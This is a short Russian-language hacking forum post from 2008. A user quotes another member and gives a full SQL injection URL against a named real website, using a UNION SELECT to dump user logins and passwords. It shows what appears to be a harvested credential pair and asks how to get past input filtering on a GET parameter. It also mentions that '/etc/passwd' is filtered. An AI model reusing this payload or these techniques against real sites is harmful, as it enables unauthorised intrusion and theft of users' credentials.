04.05.2008, 15:38
|
|
Новичок
Регистрация: 19.03.2008
Сообщений: 6
С нами:
9550072
Репутация:
1
|
|
Сообщение от Spyder
Да йопт, чё пробовать то))) Пост работает, сам проверял
Кстати там ещё фильтруется слово /etc/passwd 
Вобщем вот
http://www.internatura.ru/index.php?op=cat&sec=4&gn=-1+union+select+concat_ws(':',login,password)+from+ users/*
viktor:1940 А если параметр в скрипте только через $_GET передается, есть возможность обхода фильтрации?
|
|
|